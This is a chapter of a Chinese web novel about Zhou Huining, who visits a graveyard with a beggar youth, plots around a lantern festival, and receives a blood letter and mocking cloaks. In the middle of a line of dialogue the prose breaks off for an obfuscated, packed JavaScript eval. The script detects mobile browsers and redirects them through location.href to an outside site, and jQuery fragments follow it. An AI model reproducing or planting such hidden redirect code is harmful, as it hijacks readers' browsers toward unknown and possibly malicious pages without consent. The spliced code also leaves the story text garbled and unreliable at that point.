37. 坟茔(修)

作品:《被曾祖坑成权谋天花板

    经过又一番狗洞体验,周会宁被少年拉了一把,走进一座小小的墓园。墓园坐落在西城城郊,地处偏僻。地上覆着残雪,老柏树的枝桠间漏下月光,在无碑的坟茔上投下细碎的影子。


    周会宁蹲下身,指尖拂过一块断裂的石碑,碑上的字迹已被风雨磨得浅淡,凝神细看才辨出“征衣冢”三个字。想起这三个字承载的故事,她轻声道:“难为你能找到这里。”


    “阳侯府对这事讳莫如深,可正因如此,反倒不难找。”少年脸上并无周会宁预想的悲凉,他略带轻佻地踢开脚边的枯柴,露出半埋在土里的陶罐,“送东西的人已经走了。而这里的东西也都埋好了,要看看吗?”


    周会宁微微点头。早在决定与少年合作那天,她就该来的,只是九鼎军围困之下,终究没那么容易脱身。


    她走上少年用柴草搭的高台,月光落在身上,长长的斗篷在风里猎猎飘动。


    事到如今,少年才确定,这位周小娘子竟是孤身一人在执行如此庞大的计划。她选中自己,除了他桔子关后人的身份,大抵也是别无选择。


    可是,全天下都知道,她有显赫的母家、高贵的出身,为何要像自己这般潦倒之人一样独行?


    他不知道。


    望着月光下她沉静的侧脸,少年竟从这份显赫与高贵背后,看到了一种与自己同源的孤寂。


    可那又如何?他做这事是为了那人可笑的心愿,而她……少年想起这些日子在阳侯府听到的消息,笑了笑,“那些洼姚人和你父亲很让你困扰吗?”


    当然,但也不完全如此。周会宁转过头,她看着少年乌黑的眼睛里,脑海里晃过多年前的熊熊火光,和那夜林成蹊猎猎作响的大氅。


    不公本身就会让人困扰。


    那件事在她的人生里刻下了一个颇为深刻的烙印,如今她有机会为此做些什么,这再好不过。她认真说道,“你会得偿所愿的。若是……”


    她停顿了一下,“若是你不小心死了,我会请人在此处也为你立一座墓。”


    话音落下,一阵风恰好拂过,吹动坟茔上的残雪,四周只剩下枯枝摩擦的细微声响。


    “我极感大德,提前谢过了。”


    少年含笑说道,在他看来,对方这态度显然是默认了“各取所需”。


    与周小娘子合作,让他这个九死一生的计划顺畅了许多。但事情的后果,或许周会宁能轻易避开,于他而言却可能严重到难以承受,甚至丢掉性命。可各取所需的合作,本就没什么“售后服务”可言。


    这公道,真是该死的残酷啊。


    “对了,司马郎君给你带了一封信。”他忽然高高喊了一声。伴随着这句话,他高调地晃了晃手中的粗麻纸,看着好不容易爬到台子上的小娘子,眼底涌起一片促狭的笑意。


    这些日子,九鼎军对留侯周氏外紧内松,少年和他的乞儿军团便成了周会宁内外沟通的渠道。消息传递虽不如从前及时,却也解了燃眉之急。


    只是,为什么非要在她好不容易爬上高台时才给她递信?周会宁看着少年远远扬起的手,不禁怀疑他是故意折腾自己。


    片刻后,她从高台跃下,终于拿到了那封信。


    她拭去额角薄汗,展开信笺。一旁的少年却已就地躺倒,悠闲的姿态和她形成了鲜明的对比。


    她不由带着几分不满说道,“正如我们预想的,前些日子的朝会上,大齐决议将寒宵灯会提前举办,以庆贺一年前莒山关的大胜。圣人还邀请了洼姚三王和四王子同来参加,说起来,就是三日后的事了。”


    而她特意让司马明留意的那条古道,已经疏通了一半。不出意外,三日后吕良便能借古道抵达天佑,若脚程快些,兴许还能赶上灯会尾声。


    只要时机恰好……


    “烧起来的话,会很漂亮吧?”少年忽然说。


    “是啊。”周会宁望向四周,偌大的天佑城此刻像一头沉默的巨兽,她想象着这头沉默的巨兽为他们骤然睁眼的样子,“所有人都会看见的。”


    “那就什么也藏不住了。”少年望着明月,笑容带着一丝凉意。


    圣人已为所有人搭好了戏台。藏不住的冤屈,要被人看见,而夜空深处,有一颗模样奇怪的星星也闪了闪,似乎即将露出它的锋芒。


    这一夜,北风彻底停歇,只有城头涌动的墨云和空气中浮动的风沙,预示着一场风暴与狂欢即将来临。月光落在少年与小娘子脸上,半明半暗。


    两人都沉默着,却又都透着自信。


    ——只要他(她)别拖后腿就好。


    伴着这个念头,他们望向彼此的目光里,多了几分审视和决绝。


    “咕咕……”几声突兀的鸽鸣划破寂静。


    “啪嗒!”一团湿泥不偏不倚砸在周会宁肩头,紧接着又是“啪嗒”一声,另一团精准命中少年发髻。


    “呃!”周会宁轻呼出声。


    少年脸色一绷,纵身一跃,闪电般凌空截住那只肇事的鸽子,牢牢攫住了它的翅膀根。“果然是它。”他盯着鸽子,语气带着几分没好气的了然,“前些日子我同你说袁郎君有些狼狈,便是拜它所赐。”


    彼时他暗笑过袁僳的窘迫,没承想这小东西今日竟飞回来,将这份“厚礼”分赠予他与周会宁。


    只是……目光扫过身侧同样僵住的周会宁,少年眼中掠过一丝极淡的、近乎无奈的笑意。谁能想到,那高悬的明月,也会遭此“天降横祸”,甚至露出一丝近乎崩溃的表情。她肩头那团污泥,着实碍眼。


    几乎是心念电转间,他已撕下自己的一截衣袖,团在手中。


    小娘子的眼睛瞬间睁大。


    “别动。”他语气不容置疑,顿了顿,又突然添了一句,“不然你自己来?”


    “……”周会宁一顿,屏住呼吸,终究不情愿地妥协,“你闭上眼,不许看我。”


    少年从善如流地阖上眼帘,睫毛却微微一颤。修长的手指捏着布团,依着她的指令:“向前……向左……再右一点……”最终,轻轻一拂——


    污泥应声而落。


    两人距离也已拉得极近。布团擦过她肩头的布料,带起一丝极轻的痒意,像羽毛扫过。他睫毛上还沾着点未散的月光,阴影落在眼下,倒显出几分平时没有的温顺。他轻声问,“可以睁眼了吗?”


    “好了。”周会宁退开两步,后腰撞到身后的墓碑,发出“咚”的轻响。少年随之睁开眼,她下意识低头,耳尖却在月光里泛出点薄红。


    一丝微妙的尴尬在空气中弥漫开来。周会宁不去看少年的脸,伸手从他手中捉过鸽子,指尖刚触到信笺,便觉得粗糙的质感之外,还有些异样的触感——


    “你是谁?”


    龙飞凤舞的字迹,在夜色下呈现暗红干涸之色,透出几分阴森。


    竟是血书。


    只是问简单的三个字,何至于特意这般伤了自己。周会宁的指尖在那粗糙的、带着暗褐色的布条上停顿了一瞬,心生不解。


    少年看着周会宁在月光下显得格外干净的侧脸轮廓,同样忍不住吐槽:“你这未婚夫……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544098|186704||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有些变态。”


    “是啊。”周会宁忍不住弯出一个小小的笑来。方才那点残留的尴尬,仿佛也随之消散。


    她将字条利落地塞进袖中,迎着夜风小小打了个喷嚏,这才发现中衣早已被汗水浸透,腿脚后知后觉地发软。


    等等……她不会还得像刚才那样跑回去吧?


    腹中突然“咕噜”了一声,困意也悄然袭来。


    ……


    ……


    周会宁揉着困倦的眼睛,饥肠辘辘地跟在少年身后往回走时,天佑东城一间简陋民宅里,也亮起了烛火。


    “原来那个传说是真的,竟真有这样的东西。”火光摇曳,映着司马明手中那片粗糙的废布料。上面熟悉的字迹,像灼烧的火焰,刺痛了他的眼睛。


    这些天,他和余居等人虽在为留侯府打探消息,却始终没等到林夫人或周小娘子的明确指令。如今终于有了消息,他却看不出这片废布料、周小娘子要他做的事,与洼姚之乱、御史台弹劾留侯的那份奏章,究竟有什么关联。


    可无论如何,这片废布料还是搅乱了他的心绪,让他忍不住生出几分痛苦。


    “眼下需要您帮忙做的,就这一件事。当然,做不做在您。”送东西来的乞儿低声说道,“周小娘子还说,其他和那份弹劾有关的事,都已经安排妥当了。”


    司马明了然。


    看来萱堂书院在朝中的所有学子,都收到了和他一样的东西。


    *


    次日清晨,浣花院的门“嘎吱”一声被推开,周会容与周会宜手挽着手走了进来。


    从前,她们总嫌周会宁整日埋首书卷,对周遭人事漠不关心,如今却几乎日日都往浣花院跑。即便周会宁依旧是手不释卷的模样,可只要看见她安安静静地坐着,唇边漾着浅淡的笑意,姐妹俩便能在这被重重阴霾笼罩的府邸里,寻得一丝安稳。


    但今日,周会宁竟还在睡梦中。


    两人纳罕地在廊下坐了片刻,才见她揉着惺忪睡眼从寝房里出来。


    更让她们惊奇的是,这日周会宁的胃口好了许多,不仅喝了满满一碗胭脂米粥,还配着吃了三块雪花酥。要知道,周会宁自小很难养活,府里老人都说她曾因吃不下饭险些没保住性命,外曾祖父更是为此花费了许多心思。


    饭后,饮雪端来温热的帕子替周会宁擦脸。隔着带着水汽的帕子,周会宁的目光扫过两个妹妹:周会宜低头绞着衣角,周会容虽坐得端正,指尖却无意识地反复摩挲着茶盏边缘,神色均有些苍白。


    “三娘和五娘,当真没什么话要问我?”她轻轻开口。


    见妹妹们脸色骤变,她又柔声道,“看来,你们不仅知道了寒宵灯会的消息,也收到南浦郡主送来的东西了。”


    周会宜和周会容微微垂首,这留侯府里的事,终究瞒不过这位当家的小娘子。


    ……


    ……


    上一回,南浦郡主送来的是刀,这一回,却是三件大氅。


    大氅用上好绸缎裁成,赭色染得匀净透亮,金线绣成的雀笼连绵铺展,笼中雀鸟的每片羽毛都栩栩如生,唯独雀喙被绣成折断的模样,一双空洞的眼睛直勾勾望着笼外。


    这三件大氅,是今晨南浦郡主的贴身婢女借着九鼎军的门路,径直送到内院门口的。人虽未进府,那婢女代传的诛心之言,却像阴风一般,轻而易举地钻过了高墙。


    “雀困雕笼,犹能振翅;雀囿诏狱,啼涩首垂。今圣朝燃灯贺凯旋,万民仰霁色,恐君畏烛照罪羽,姑以大氅遮惭颜。”